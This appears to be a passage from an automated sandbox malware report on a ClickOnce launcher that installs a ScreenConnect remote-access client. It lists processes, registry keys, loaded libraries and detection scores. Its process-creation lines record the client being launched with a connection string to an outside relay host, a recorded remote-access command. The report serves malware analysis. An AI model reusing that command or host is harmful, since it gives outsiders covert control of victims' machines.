Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior

System Summary

Detected potential unwanted application

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US

Detected potential crypto function

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_003AA5E5	0_2_003AA5E5
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_003A1BD4	0_2_003A1BD4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A7327D	1_2_00007FF9C1A7327D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1AA9261	1_2_00007FF9C1AA9261
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A92461	1_2_00007FF9C1A92461
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A7D510	1_2_00007FF9C1A7D510
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1AABAB8	1_2_00007FF9C1AABAB8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A9ABC5	1_2_00007FF9C1A9ABC5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A85D32	1_2_00007FF9C1A85D32
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A9ED2F	1_2_00007FF9C1A9ED2F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A6AF4F	1_2_00007FF9C1A6AF4F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A61211	1_2_00007FF9C1A61211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A83101	1_2_00007FF9C1A83101
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A82870	1_2_00007FF9C1A82870
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A6F8A1	1_2_00007FF9C1A6F8A1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A6F000	1_2_00007FF9C1A6F000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF9C1A66050	1_2_00007FF9C1A66050
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A675E8	8_2_00007FF9C1A675E8
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A711D1	8_2_00007FF9C1A711D1
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A71410	8_2_00007FF9C1A71410
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A6FE75	8_2_00007FF9C1A6FE75
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A700D3	8_2_00007FF9C1A700D3
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1D53286	8_2_00007FF9C1D53286
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1D62058	8_2_00007FF9C1D62058
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1D4AFD0	8_2_00007FF9C1D4AFD0
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1D54701	8_2_00007FF9C1D54701
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1D49E25	8_2_00007FF9C1D49E25

One or more processes crash

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7112 -s 748

Uses 32bit PE files

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal54.evad.winEXE@9/70@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

0_2_003A1000

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Deployment

Jump to behavior

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7112
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6924

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Temp\Deployment

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Command line argument: dfshim		0_2_003A1000
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Command line argument: dfshim		0_2_003A1000

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Virustotal: Detection: 16%
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7112 -s 748
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 1312
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll	Jump to behavior
